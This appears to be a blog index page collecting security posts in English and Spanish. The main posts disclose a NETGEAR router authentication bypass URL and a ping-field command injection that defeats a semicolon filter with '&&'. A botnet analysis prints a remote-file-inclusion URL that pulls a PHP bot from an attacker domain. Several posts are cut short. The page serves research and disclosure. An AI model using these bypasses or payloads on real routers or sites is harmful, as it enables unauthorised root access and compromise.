[Part 2][EN] Hacking NETGEAR JWNR2010v5 Router - Command Injection

[Part 1] Hacking NETGEAR JWNR2010v5 Router - Authentication Bypass
[Part 2] Hacking NETGEAR JWNR2010v5 Router - Command Injection


We already saw how to bypass the authentication so in this post I want to focus in the compromise of the underlying system. In order to do this we have to understend how the router works internally and the management of the administration interface.

 Checking the filesystem we got in the previous post I found that everything is handled by just one cgi called setup.cgi:


# ls -l | grep cgi
lrwxrwxrwx 1 root root     18 Jul 28 07:51 conf -> restore_config.cgi
lrwxrwxrwx 1 root root      9 Jul 28 07:51 htpwd_recovery.cgi -> setup.cgi
-rwxr-xr-x 1 root root  59784 Apr  1 01:34 restore_config.cgi
-rwxr-xr-x 1 root root 613588 Apr  1 01:34 setup.cgi
-rwxr-xr-x 1 root root 277152 Apr  1 01:34 setupwizard.cgi
lrwxrwxrwx 1 root root      9 Jul 28 07:51 upgrade_flash.cgi -> setup.cgi

One of the most common vulnerabilities we can see on SOHO routers are command injection through bad implemented functions, so my priority is to find where a command is executed to against the system and that allows me to control the input. For this I opened setup.cgi in IDA and search for keywords, in this case '/bin':




The ping command caught my attention as it meets both conditions. In this case the webpage that handles this is diag.htm which allows the user to perform different tests to validate the internet connectivity.



By opening diag.htm and reading the source code we find the first interesting thing. Input data is validated client side, so just changing return ping_ck() by return true or modifying the POST request we can send our crafted data.



As you can see above we tried to inject a command appending ';' to the IP address but the command never reaches the server. It's filtering it server side, so let's take a look at the cgi:



As you can see, it searches for a semicolon in the request and if exists the command is never executed...but..what happens here? It only filters the semicolon so if we replace it with '&&' we bypass the check and the command is successfuly executed...or it should...


If we run the command against the system we receive a 403 error but I noticed that setup.cgi gets a GET numeric parameter as follows...setup.cgi?id=0000000 So let's move again to IDA and search for 'id=' string:


First main() search for POST parameters and environment variables, if not found seek for GET parameters. In case it finds 'id' runs strtol() and if succeed extract the content of /tmp/SessionFile and compares against the id parameter where if doesn't match returns the 403 error.

 Finally we know that we need to sign the request with this parameter in order to run the command, so we use the auth bypass vulnerability from the previous post to access the web interface, scrap the source code to extract a valid sessionid before it changes, craft the injection and returns the response.

Here is a script to do this:


And finally we got the expected result in the response after running a 'pwd' command:


Unlike the previous vulnerability this only affects to two models JWNR2000v5 and JWNR2010v5.

In the following link you can find a PoC exploit:

 https://github.com/remot3/exploit-POC/blob/master/NETGEAR_JWNR2010v5.py

[Part 1] Hacking NETGEAR JWNR2010v5 Router - Authentication Bypass
[Part 2] Hacking NETGEAR JWNR2010v5 Router - Command Injection



It has been a long time since my last update so today I want to show you two vulnerabilities found while reversing the firmware from a NETGEAR router. The exploitation of these two vulnerabilities provides the attacker full remote unauthenticated root access to the device if it has WAN administration enabled.

First things first, the content you are about to read is intended as educative content, do not hack random thing out there, don't be stupid. Ok, let's start with this. In this case I analyzed the firmware 1.1.0.31 published on 05/11/2015 for the Netgear JWNR2010v5.

You can download the file here: http://www.downloads.netgear.com/files/GDC/JNR1010V2/ N150_N300_FW_V1.1.0.31_1.0.1.zip

From the binwalk output we know that the arch is MIPS and there is a SquashFS filesystem at 0x160000 which we extract using dd:



DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
60352           0xEBC0          U-Boot boot loader reference
[...]
131072          0x20000         uImage header, header size: 64 bytes, header CRC: 0x23F4018D, created: Thu Nov 21 21:18:53 2013, image size: 1266253 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0xE8A06868, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
131136          0x20040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4632092 bytes
1441792         0x160000        Squashfs filesystem, little endian, version 4.0, compression:lzma (non-standard type definition), size: 2376782 bytes,  1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013
[...]
4028341         0x3D77B5        End of Zip archive


# dd if=N300.bin bs=1 of=N300.squashfs skip=1441792
2752512+0 records in
2752512+0 records out
2752512 bytes (2.8 MB) copied, 2.73591 s, 1.0 MB/s

# file N300.squashfs
N300.squashfs: Squashfs filesystem, little endian, version 4.0, 2376782 bytes, 1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013

# ./unsquashfs_all.sh N300.squashfs
[...]
created 850 files
created 60 directories
created 144 symlinks
created 106 devices
created 0 fifos
File system sucessfully extracted!


I use to run a script that test every file in the webserver and returns the error code, so I did, and from this preliminary file access analysis I found that an unauthenticated user can access every static file located in the webroot which is interesting but not very useful, anyway reviewing the results of this test I found the tip of the iceberg. Every time I ran the script and reached one file the following files were available without authentication (Error 501 == 200):



501http://192.168.1.1:8080/401_access_denied.htm
501http://192.168.1.1:8080/401_recovery.htm
401http://192.168.1.1:8080/Add_WPS_Client.htm
200http://192.168.1.1:8080/advanced.js
401http://192.168.1.1:8080/adv_index.htm
[...]
401http://192.168.1.1:8080/BAS_basictop.htm
200http://192.168.1.1:8080/bas_bpa.js
200http://192.168.1.1:8080/base.gif
401http://192.168.1.1:8080/BAS_ether_h.htm
401http://192.168.1.1:8080/BAS_ether.htm
[...]
401http://192.168.1.1:8080/BRS_05_networkIssue.html
401http://192.168.1.1:8080/BRS_check_manulConfig.html
401http://192.168.1.1:8080/BRS_hijack_index.htm
401http://192.168.1.1:8080/BRS_hijack_success.htm
401http://192.168.1.1:8080/BRS_index.htm
501http://192.168.1.1:8080/BRS_netgear_success.html [From this point every 401 error becomes a 501]
501http://192.168.1.1:8080/BRS_plzWait.html
501http://192.168.1.1:8080/BRS_RUS_auto_account_input.html
501http://192.168.1.1:8080/BRS_RUS_auto_attention.html
[...]

And even worse...when I ran the script again every file returned a 501 error, so by doing this I disabled the authentication for the router somehow and with this we reached the "IDA Time!". By analyzing the router behaviour we can see that the authentication is handled by the webserver binary, so we import it to IDA and search for our reference string ( BRS_netgear_success.html ) which returns an intermediate function between 'main' and other function that we called 'auth_req_check' because of a .htpasswd reference.




This intermediate function will be called 'url_handle' as we can see a clasic staircase pattern comparing the reveived URL with hardcoded strings using strstr() function and executing different actions. Now we identified and isolated the authentication and url handler functions, lets move to our suspicious string. As you can see in the following image if the url contains the string ( BRS_netgear_success.html ) it moves to an interesting piece of code which sets two variables in the nvram to 0 (need_not_login and start_in_blankstate)




With this in mind it's easy to understand what is this doing, wen we access BRS_netgear_success.html the router redirects to NETGEAR webpage just to check whether we have internet access or not, and allows the user to access the router without credentials just for change the administrative password...but...this should be only allowed the first time the router is connected which is not the case... Finally lets confirm our assumptions checking where the bypass is done. For this, we have to move to the 'auth_req_check' function that we named previously ( offset 00403858 if you want to check) and read from the beginning where the function checks the existence of the .httpasswd file. If yes, we find a reference to start_in_blankstate where it's compared to be different to 1 and if yes the login is bypassed:



With the we confirmed that if start_in_blanckstate is 0 the .htpasswd is disabled and we have free access to the admin panel of the router.

So in short, if we hit this URL http://[IP_ROUTER]:[PORT]/BRS_netgear_success.html the login for every page in the router is temporary disabled.

 I could confirm that the following models are vulnerable to this: NETGEAR_JNR1010v2, NETGEAR_JNR3000, NETGEAR_JWNR2000v5, NETGEAR_JWNR2010v5, NETGEAR_N300, NETGEAR_R3250, NETGEAR_WNR2020, NETGEAR_WNR614, NETGEAR_WNR618

 But this is only the beginning and we want to get unauthenticated root access to the router.

 In the following post I explain a vulnerability that affects just these two models (JWNR2010v5 and JWNR2000v5) that allows us to fully compromise the router and also you can find a PoC to test with your own router.

[Parte 2] Hacking NETGEAR JWNR2010v5 Router - Command Injection

Ya hemos visto como podemos acceder al router bypasseando la autenticación por completo por lo que en esta entrada quiero centrarme en el compromiso del sistema subyacente. Para esto tenemos que entender como funciona el router internamente y la gestión del interfaz de administración.

Revisando el sistema de archivos que descomprimimos en el anterior post nos encontramos con que casi toda la lógica es gestionada por un unico cgi llamado setup.cgi:


# ls -l | grep cgi
lrwxrwxrwx 1 root root     18 Jul 28 07:51 conf -> restore_config.cgi
lrwxrwxrwx 1 root root      9 Jul 28 07:51 htpwd_recovery.cgi -> setup.cgi
-rwxr-xr-x 1 root root  59784 Apr  1 01:34 restore_config.cgi
-rwxr-xr-x 1 root root 613588 Apr  1 01:34 setup.cgi
-rwxr-xr-x 1 root root 277152 Apr  1 01:34 setupwizard.cgi
lrwxrwxrwx 1 root root      9 Jul 28 07:51 upgrade_flash.cgi -> setup.cgi


Una de las vulnerabilidades mas habituales es la inyección de comandos a traves de funciones mal controladas, por lo que mi prioridad es encontrar en que punto se ejecuta un comando contra el sistema donde nosotros tengamos control sobre el input. Para ello una vez abierto el cgi en IDA hago una búsqueda sobre palabras clave que pueden reportar el resultado deseado, por ejemplo el string '/bin' entre otros:


Como se puede ver en la imagen uno de los resultados mas interesantes es el comando ping que muchos routers utilizan en la página de diagnóstico para validar la conexión a internet y que en el caso concreto de este NETGEAR se encuentra en la página diag.htm, por lo que buscaremos como se realiza la llamada:



En la propia web nos encontramos el primero de los fallos. La integridad de los datos enviados por el usuario se realiza del lado del cliente por lo que simplemente sustituyendo return ping_ck() por return true o interceptando la petición POST podremos modificar los datos a nuestro antojo.


Como ya he dicho en mas de una ocasion uno de los aspectos en los que mas me gusta gastar mi tiempo es en la investigación de sistemas embebidos. Así que como ya hace mas de un año que no actualizo el blog, hoy os traigo el analisis de dos vulnerabilidades que afectan a un gran numero de dispositivos NETGEAR. La explotación de estas dos vulnerabilidades en conjunto llevan al compromiso total del router de manera remota si tienen el acceso WAN activado.

En este caso el firmware a analizar es la versión 1.1.0.31 del modelo JWNR2010v5 publicado el 11/05/2015 y disponible para su descarga en el siguiente enlace http://www.downloads.netgear.com/files/GDC/JNR1010V2/N150_N300_FW_V1.1.0.31_1.0.1.zip

A partir de la lectura de binwalk sabemos que el router tiene una arquitectura MIPS y que el sistema de archivos se encuentra en el offset 0x160000 por lo que lo extraemos usando dd:



DECIMAL         HEX             DESCRIPTION
-------------------------------------------------------------------------------------------------------------------
60352           0xEBC0          U-Boot boot loader reference
[...]
131072          0x20000         uImage header, header size: 64 bytes, header CRC: 0x23F4018D, created: Thu Nov 21 21:18:53 2013, image size: 1266253 bytes, Data Address: 0x80000000, Entry Point: 0x8000C2F0, data CRC: 0xE8A06868, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
131136          0x20040         LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 4632092 bytes
1441792         0x160000        Squashfs filesystem, little endian, version 4.0, compression:lzma (non-standard type definition), size: 2376782 bytes,  1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013
[...]
4028341         0x3D77B5        End of Zip archive


# dd if=N300.bin bs=1 of=N300.squashfs skip=1441792
2752512+0 records in
2752512+0 records out
2752512 bytes (2.8 MB) copied, 2.73591 s, 1.0 MB/s

# file N300.squashfs
N300.squashfs: Squashfs filesystem, little endian, version 4.0, 2376782 bytes, 1160 inodes, blocksize: 131072 bytes, created: Thu Nov 21 21:18:35 2013

# ./unsquashfs_all.sh N300.squashfs
[...]
created 850 files
created 60 directories
created 144 symlinks
created 106 devices
created 0 fifos
File system sucessfully extracted!


Reviviendo GoPro con Hard-Brick aka GoPrisapapeles


Como muchos sabéis uno de mis intereses son los dispositivos embebidos, pese a esto uno de los dispositivos a los que nunca me hubiese gustado meterle mano era mi querida GoPro, hasta ayer...

Resulta que justo ayer (Martes 13 para mas inri) se me ocurrió actualizar el firmware de la cámara para conseguir alguna de las últimas mejoras que trae pero para mi desgracia la cámara nunca mas encendió, tras el pánico inicial empecé a hacer pruebas con ella probando las combinaciones de teclas para forzar un hard reset, con SD, sin ella...etc sin resultado hasta que al conectarla por USB y sin batería vi que el led frontal parpadeaba muy levemente, al ver que al menos daba alguna señal de vida y conectada a USB  probé a encenderla y si bien la cámara seguía muerta el ordenador me la reconoció como un "Dispositivo USB desconocido".

En este punto sabemos que al menos la cámara tiene algo de vida y que existe algún tipo de comunicación por USB pero que durante la actualización fallida la memoria se ha borrado por completo.

Tras una llamada al soporte técnico me confirman que esto es un error habitual y que me la reemplazan en garantía, pero claro...el verano está aquí y no quiero quedarme sin ella 2 meses, así que una rápida búsqueda en Google me devuelve la salvación:

https://github.com/evilwombat/gopro-usb-tools

Este set de herramientas nos proporciona diferentes maneras devolver la vida a nuestra cámara, la primera y mas sencilla es restaurar el bootloader, en mi caso no era válido porque todo el firmware había sido wipeado. La segunda (El que yo he usado) se encarga de recargar el Bootloader, HAL y RTOS, a grandes rasgos lo que hace es parchear el bootloader para que apunte a lo que nosotros cargamos en unas direcciones de memoria altas para evitar que cargue cualquier archivo corrupto de la actualización fallida. Por último este set de herramientas nos proporciona una shell interactiva (en 10.9.9.1) con la que podemos movernos dentro de la cámara y verificar la integridad del sistema y la memoria flash.

Bueno, ahora que ya os he presentado la herramienta vamos a ver los pasos para revivir la pequeña.

AVISO: Sigue estos pasos bajo tu responsabilidad, no me hago cargo de cualquier daño que le puedas causar a tu cámara. Si aún está en garantía no seas como yo y pide el reemplazo.

Distribución de malware móvil a través de anuncios insertados

A menudo cuando navegamos por internet cientos de anuncios se nos despliegan para ofrecernos productos que ninguno necesitamos. Hace un par de dias alguien se acercó a mi a preguntarme por que mientras visualizaba contenido a través de la aplicación "Flipboard" en Android se le abría sin él hacer nada una web que le ofrecía descargarse una aplicación pornográfica, en ese momento me picó la curiosidad pero no tenía ninguna muestra del tráfico para saber desde donde se estaba sirviendo esa página. Por casualidades de la vida hoy me tocó a mi ser la víctima a la que se le ofrecía esta aplicación mientras navegaba con mi lector de feeds "Feedly".

Réplica de GPlay servida para Android
Rápidamente preparé Wireshark y repliqué la petición para capturar el tráfico generado y tener un punto por el que empezar. El resultado fue satisfactorio y la página se mostró de nuevo por lo que empecé a analizar la captura en orden inverso, así leyendo la cabecera "Referer" de las peticiones sabía de donde venía el tráfico. No fue dificil descubrir al culpable:

Ahora sabemos que el anuncio insertado en pastebin.com (Página legítima a la que accedí en mi navegacion normal) redirecciona a la página réplica de google play desde donde se distribuye el malware, pero intentando acceder a través del navegador de escritorio la página que se muestra es totalmente diferente y solo despliega una imagen con un enlace a una página legítima.

Pagina mostrada al navegador de escritorio

La explicación es sencilla. El servidor que nos entrega el anuncio detecta la plataforma desde la que se hace la petición leyendo el User-Agent de la request así que si navegamos desde el ordenador se nos sirve un anuncio válido insertando el siguiente código:

Código entregado por la página a un navegador de escritorio
En cambio si engañamos a la página haciéndole creer que estamos navegando a través de un dispositivo Android, la página nos entrega el siguiente código que nos redirecciona a la web maliciosa:

Código entregado por la página utilizando un useragent de Android
Inmediatamente se nos abre la página réplica de Google Play que nos sirve el apk troyanizado y trata de iniciar una descarga, podéis comprobar como la url que abre es la misma a la que nos redirige el anuncio:


El comportamiento en un terminal Android es todavía peor ya que no te solicita permiso para la descarga (Al menos en Firefox) y se almacena el apk en el teléfono automáticamente.

Por último antes de analizar manualmente el comportamiento del APK lo pasamos por VirusTotal para comprobar si ya había sido analizado, dandonos el resultado del analisis:


Como ya ha sido analizado nos ahorramos el trabajo de reversear el APK, el troyano que contiene es detectado por varios antivirus como TrojanSMS.Erop., su comportamiento consiste en enviar SMS desde los terminales infectados a numeros premium.

Así que ya sabeis, cuando naveguéis desde un terminal móvil intentad utilizar siempre un bloqueador de anuncios, ademas si utilizas lectores de feeds como Feedly o Flipboard no tienes esta posibilidad por lo que espero que la lectura de este artículo te ayude a estar alerta ante estos engaños.

Premios Bitacoras 2013

Como cada año llegan los Premios Bitacoras, y en ShellShockLabs también participamos en ellos. Si te gustan nuestras publicaciones puedes votarnos para darnos un empujoncito a seguir mejorando y escribiendo contenido.

Puedes acceder a las votaciones haciendo click en la imagen:



¡Gracias!

Crawling pasivo usando Google Hacking

A la hora de auditar una aplicación web son muchos los recursos que nos ayudan a hacernos un mapa mental de la web que debemos investigar. Muchas de estas herramientas generan mucho ruido en los logs ya que utilizan fuerza bruta y un listado de directorios/archivos, esto puede hacer saltar las alarmas de un administrador, por lo que yo no suelo utilizarlas (La fuerza bruta es siempre mi último recurso). En este caso vamos a ver como utilizando dorks de Google podemos conseguir muy buenos resultados y descubrir lugares que a priori estaban ocultos en la aplicación.

Aclarar que este post se basa en como yo lo hago y que como en todo cada maestrillo tiene su librillo, así que si utilizas otras técnicas te animo a compartirlas en los comentarios.

Para este ejemplo utilizaremos como objetivo la web del congreso de los diputados ( www.congreso.es ) y partiremos de la base de que desconocemos totalmente la tecnología que usa, sus subdirectorios, subdominios, etc...

[Tutorial] Reversing AXIS Q6032-E Network Camera Firmware



Hace tiempo que tenía ganas de escribir este post, si hay algo que me gusta del mundo del hacking es el reversing y todavía mas si hablamos de sistemas embebidos. En este post vamos a ver como extraer todos los archivos incluidos en una imagen de firmware.

Quiero avisar desde un principio que esto no es una ciencia exacta, por lo que lo que hagamos para esta imagen puede funcionar con el firmware de otra sistema o no, por lo que la utilidad de este texto es servir como guía para conocer la metodología de trabajo y las herramientas que harán nuestra vida mas fácil a la hora de buscar vulnerabilidades en este tipo de sistemas.

En primer lugar vamos a preparar nuestro arsenal de herramientas para estos menesteres:

  • Firmware Mod Kit es un set de herramientas para descompresión y reconstrucción del firmware.
  • Binwalk es una herramienta que reconoce las cabeceras de los archivos entre otras cosas. 
  • Comandos útiles del sistema: dd, strings, hexdump, gunzip, unzip, tar ...
Todo lo anterior excepto firmware mod kit viene integrado en Kali Linux por lo que si lo tenéis mano os ahorraréis el trabajo de instalarlo.

 Bien, empecemos. Lo primero será descargar la imagen de la página del vendor


Conferencia de la NSA en la BlackHat

Como muchos sabréis la BlackHat ha comenzado y una de las charlas iniciales que mas expectativas ha generado ha sido la de la NSA a cargo del General Alexander.

Con el escandalo de PRISM en pleno apogeo y con mas y mas información publicandose es interesante ver el punto de vista de una de las partes.

Aquí tenéis el vídeo:

  

Escaneo de puertos y banner grabbing con netcat


Normalmente estamos acostumbrados a disponer de nuestro arsenal de novedosas y potentes herramientas que hacen nuestro trabajo mas facil, pero esto no es siempre así, se puede dar el caso de que una vez hemos accedido a un sistema necesitamos seguir investigando la red pero solo disponemos de las herramientas del sistema. Para esta tarea tenemos a nuestro amigo netcat.

En primer lugar hay que tener en cuenta que netcat tiene funciones tanto de cliente como de servidor, por lo que podremos establecer una conexión entre dos máquinas únicamente con esta herramienta.

Analizando una Botnet y buscando a sus administradores.


Hace unos días un conocido me comentó que alguien había intentado acceder a su web y había tratado inyectar una URL, pero la forma de hacerlo no tenía sentido. Me llamó la atención y le dije que me enviase ejemplos de lo que habían tratado de hacer.

Intento de explotación de un LFI:

www.dominiovictima.com/gratis//appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Analizando la URL atacada podemos ver dos partes claramente diferenciadas, la url víctima y la inyección, en esta última vemos otra URL que contiene un archivo .txt:

/appserv/main.php?appserv_root=http://www.dominiocontroladoporelatacante.com/e107_themes/temp/remote/j1.txt

Vamos a ver el contenido de ese sospechoso txt que podeis encontrar aqui:

<?php
var $config = array("server"=>"irc.dominio.net", 
                     "port"=>"6667",   
                     "pass"=>"",  
                     "prefix"=>"BoT",  
                     "maxrand"=>"5",  
                     "chan"=>"#channel",  
                     "chan2"=>"#channel", 
                     "key"=>"senhadocanal",     
                     "modes"=>"+p",            
                     "password"=>"terpmak",          
                     "trigger"=>".",  
                     "hostauth"=>"127.0.0.1" 
                     );
?>
A simple vista lo primero que llama la atención son tres cosas, una cabecera bastante descriptiva de lo que hace el script, unas líneas de configuración y un footer con el nombre de una comunidad.

Hacking indirecto (o como lo quieras llamar)

En este post quiero tratar un tema que normalmente no se controla en las empresas y puede suponer un riesgo grave. Es muy común que la política de contraseñas de una empresa sea como la de BYOD, traete tu contraseña de casa que así te la memorizas y no nos das el coñazo. Pero esto supone un problema y es que según las estadísticas el 75% de las personas utilizan la misma contraseña para todos los servicios.

Supongamos un caso de una empresa con un portal web a través del cual todos los empleados acceden a la intranet y su webmail, un atacante intenta acceder a esta intranet pero no logra ningún acceso directo, dicho atacante antes de plantearse la ingeniería social utiliza la FOCA para extraer nombres de empleados a través de los metadatos de los documentos alojados en el portal web. Una vez con estos nombres extraidos y tras un poco de trabajo de recopilación de información el atacante rastrea un poco el Twitter, Facebook y la información indexada en los buscadores asociada a cada persona pudiendo conocer los hábitos y servicios que ésta utiliza. En este punto el atacante puede buscar una vulnerabilidad en una página usada por uno o varios empleados y hacerse con los credenciales de estos empleados aprovechandose de un incorrecto o nulo cifrado de la página secundaria.

En relación a la anterior otra manera de proceder sería utilizar un dork para rastrear los emails que hay indexados en los buscadores relacionados a un dominio. Por ejemplo podríamos usar intext:"@dominio.com" y nos encontraríamos con una serie de personas que han utilizado su cuenta de correo empresarial para registrarse en diversos servicios en los cuales no está garantizada la seguridad.

Como veis hay varias posibilidades de conseguir unos credenciales básicos para acceder a vuestro objetivo primario sin necesidad de utilizar métodos ruidosos contra él y levantar alarmas antes de tiempo. Los responsables de seguridad de una empresa siempre deben dejar claro que el empleado debe separar sus contraseñas personales de las laborales y nunca registrarse en servicios externos con correos y/o contraseñas  empresariales. Esto no siempre se lleva a cabo y las consecuencias pueden ser muy graves como para no valorarlo.




Comprometen el sistema de navegación de un avión mediante Android


Hugo Teso, piloto comercial e investigador de seguridad en la compañía de seguridad alemana N.Runs ha presentado un método a través del cual logra el control total sobre el sistema de navegación de un avión logrando manipular la ruta de éste.

Teso dijo que fue capaz de interceptar las comunicaciones con el enlace de 1Mbps descartando la información real e inyectando información falsa utilizando hardware de control de navegación y software específico que se puede encontrar públicamente el cual fue usado de puente.
"Esperaba que tuviesen agujeros de seguridad pero no me esperaba que fuesen tan fáciles de  detectar. Pensaba que tendría que luchar duro para entrar pero no fue tan difícil", Dijo Teso
Su aplicación no era mas que una prueba de concepto y comentó que las agencias europeas y americanas ya están trabajando en arreglar el problema. Dada la gravedad del problema esperemos ver una solución en el plazo mas breve posible.

Paper: Aircraft Hacking: Practical Aero Series

Metasploitable en la nube

Metasploitable en la nube


Ya no es la primera vez que hablamos por aquí de hackaserver.com, los chicos que están desarrollando CTF365. Tras un parón donde han actualizado todo su backend han vuelto a poner en funcionamiento su página dejándonos gratuitamente una VM con Metasploitable instalado para que pongamos en práctica nuestras habilidades.

Para poder acceder a la máquina virtual solamente tendremos que registrarnos en Hackaserver y conectarnos a su VPN que nos dará acceso.

Ya no hay excusa para desempolvar nuestro Metasploit y demostrar de lo que somos capaces en un entorno controlado.


Crónica RootedCon 2013: Día 3


Todo lo bueno se acaba y como la RootedCon no es una excepción hoy ha sido el último día de esta edición 2013. Desde aquí felicitar a la organización por hacer posible una conferencia a este nivel a la que por supuesto asistiré el año que viene.

Vamos con la crónica de uno de los días mas fuertes a nivel técnico. Abrían la mañana José Pico y David Perez con su charla sobre geolocalización de dispositivos móviles dentro de un área geográfica concreta donde presentaban un sistema de posicionamiento utilizando una estación base falsa a la que triangulaban la posición del terminal en base al tiempo de respuesta. Este sistema hacía uso de dos antenas una omnidireccional y otra direccional. Una charla mas que interesante por todo el trabajo que tiene detrás y de la que espero poder echar de nuevo un ojo a los slides y el video.

La segunda charla del día trató sobre herramientas de análisis estático interactivo para descubrimiento de vulnerabilidades en la cual Joxean Koret analizó el panorama actual de herramientas de este tipo y presentó su herramienta que en un futuro esperemos pueda suplir las carencias actuales.

Tras el primer descanso de la mañana era el turno de Jaime Sanchez en la que mostró las utilidades prácticas de encolar el trafico TCP/IP desde el kernel hasta el espacio de usuario. Durante la charla realizó varias demos en las cuales mostró como realizar tareas de fingerprinting dejando huellas falsas y evadir IDS's además de evitar firewalls spoofeando la ip de origen en las peticiones realizadas contra el servidor atacado.

Para finalizar la mañana llegó el turno de presentar proyectos en RootedForge aunque por desgracia este año estuvo flojo en ese aspecto y solamente se presentaron tres.

Tras la comida tocó volver a tener miedo de nuestros dispositivos móviles con la charla dada por Raúl Siles dejando en evidencia las carencias de dichos dispositivos en el apartado de WiFi, además durante la charla se presentó iStupid, una herramienta que ayuda en las tareas de borrado de AP guardados en dispositivos iOS. Como colofón final de esta charla  que no dejó títere con cabeza, mostraba como lograr que impersonando un server Radius se enviase el nombre de usuario y la contraseña en plano.

La penúltima charla del día venía a cargo de Albert López en el que analizaba diversas vulnerabilidades en la librería glibc en la gestión del heap. Una interesantísima charla que requería un poco mas de tiempo para exponer, pero que echando un ojo al paper publicado se puede aprender mucho de el gran análisis que Albert ha realizado.

Ahora si que ya se acababa el día y antes de la charla final sobre IPv6 aparecía por allí Chema Alonso con Wardog que por primera vez se daba a conocer y se exponía a una ronda de preguntas. Ahora si y para finalizar la RootedCon 2013 Chema Alonso cerraba la fiesta con una charla sobre los peligros de IPv6 y diferentes ataques - aunque un "maligno" smartphone casi se carga la demo - ademas de presentar la Evil FOCA que presumiblemente será liberada en breves.

Y aquí se acabó para mi esta Rooted, solamente agradecer a todos los que hacen posible este tipo de eventos y a esperar al año que viene para volver a ver a la gente conocida este año y a ser posible intentar tener algo para mostrar.


Crónica RootedCon 2013: Día 2


Ya se ha acabado el segundo día de la conferencia y es hora de resumir lo que ha sido el día de hoy.

Las mañana ha empezado con la charla de Andrés Tarasco y Miguel Tarasco, donde han presentado la herramienta que están desarrollando para auditorías en redes Wireless, para la que ademas estan buscando colaboración para mejorarla, así que si estas interesado o quieres echarle un vistazo al proyecto puedes informarte en https://www.owisam.org/

En la segunda charla de la mañana Jesús Olmos ha presentado otra herramienta de auditoría llamada Chrome Hack. En este caso se trata de una extensión para Google Chrome para auditoría de aplicaciones web que permite bruteforce de formularios con wordlist, fuzzeo de directorios y varias opciones mas. La herramienta está en desarrollo actualmente y puedes acceder a ella en http://www.bitbucket.org/sha0coder

Tras el breve descanso de rigor tocaba la charla de David Barroso, en la cual se presentó un análisis de las extorsiones a empresas mediante DDoS, analizando diferentes herramientas que los extorsionadores utilizaban en países como Rusia o Alemania ademas de la metodología usada para tracear a estas mafias.

Como cuarta charla del día tocaba la charla que detrás de un extraño título - Ke ase android?- ocultaba un gran trabajo de investigación. El ponente, Sebastián Guerrero, al que ya pudimos ver en la anterior RootedCon nos presentaba un RootKit diseñado para Android con el que tomaba control total del dispositivo evadiendo cualquier tipo de control de seguridad del terminal al instalarse directamente en el núcleo del OS alejado de la capa de usuario que es donde se lleva a cabo los controles de seguridad.

José Luis Verdeguer - RootedCon 2013

Una vez comidos, José Luis Verdeguer desvelaba, en su charla "FreePBX for fun & profit", una serie de vulnerabilidades descubiertas en FreePBX que se están explotando en la actualidad y que suponen un grave perjuicio económico para las empresas con un sistema comprometido. Sin alargarme mucho, tras comprometer un sistema un atacante puede controlar totalmente el sistema de VoIP que gestiona y utilizarlo para realizar llamadas gratuitas, ademas de todos los problemas que conlleva para la empresa el rooteo de una maquina interna.

Como última charla Roberto Baratta nos explicaba como en su organización - Nova Galicia Banco - hacían frente al fraude electrónico partiendo de la base de que dicho fraude va a suceder. Además de mostrar los sistemas tanto tecnológicos como procedurales que utilizan para hacerle frente.

Para finalizar el día tuvo lugar el RootedPanel donde se trataba el futuro profesional y la formación de los profesionales en seguridad TI en el cual no se llegó a un consenso completo y hubo diferentes opiniones para todos los gustos.

Mañana toca madrugar de nuevo para asistir a lo que para mi gusto es el día mas fuerte de esta Rooted 2013 - aunque ya hayamos visto autenticas virguerías - así que ya sabéis mañana pasaros por Shellshocklabs de nuevo y tendréis un nuevo resumen de lo que fue el día.

Crónica RootedCon 2013: Día 1




Ya llevábamos casi dos meses esperando a que llegase el día y por fin la RootedCon 2013 ha empezado. Tras el largo camino para llegar a la capital desde tierras gallegas hoy tocaba madrugar para tomar asiento y a las 10:00 estar listos para la Keynote que abriría la conferencia. Tras la presentación de la organización y una breve declaración se daba paso a la charla de David Fuertes donde exponía el problema de los protocolos de seguridad actuales y de como el delegar todo el trabajo de análisis de comportamientos anómalos -señales débiles- a sistemas de detección automáticos -balas de plata- puede suponer un grave riesgo para la seguridad de una empresa.

La segunda charla de la mañana la expuso Vicente Díaz en la cual analizó las campañas de spam vía Twitter utilizando una herramienta que hacía uso de la inteligencia artificial para reconocer patrones de estos spammers así como dar a conocer sus motivaciones económicas.

Tras un breve descanso volvimos a tomar asiento para asistir a la ponencia sobre Sopelka y Eurograbber, dos botnets dedicadas al fraude bancario, donde José Miguel Esparza y Mikel Gastesi analizaron el funcionamiento de la botnet Sopelka y con su investigación desmontaron el informe que afirmaba que Eurograbber se había hecho con 36 millones de euros.

Para finalizar la mañana y dar paso a la rápida comida, Antonio Ramos en su charla "¿Y si la seguridad afectara al valor contable de la empresa?" proponía una modificación en la responsabilidad que un auditor tiene sobre los informes de seguridad de una empresa, equiparando esta responsabilidad a la de una auditoría contable.

Panorámica RootedCon 2013
Panorámica RootedCon 2013

La mañana pasó rápido y llegó la hora de comer en la que tocaba apurar para llegar a tiempo a una de las charlas en las que mas expectativas tenía para el día de hoy, la presentación de Flu-AD por Juan Antonio Calles y Pablo González. Por supuesto la presentación no defraudó. Empezaban analizando un caso de grooming real, una pena que llegué un poco tarde y me perdí el principio. Mas tarde dio paso la presentación de Flu-AD donde explicaron su funcionamiento y construcción así como todas las features de que dispone actualmente junto con su integración con Metasploit.

Para la segunda charla de la tarde Alejandro Ramos de Security by Default nos mostraba como realizar un análisis forense de una base de datos SQLite y ademas nos presentaba una herramienta para extraer datos eliminados de este tipo de bases de datos de una manera muy sencilla. 

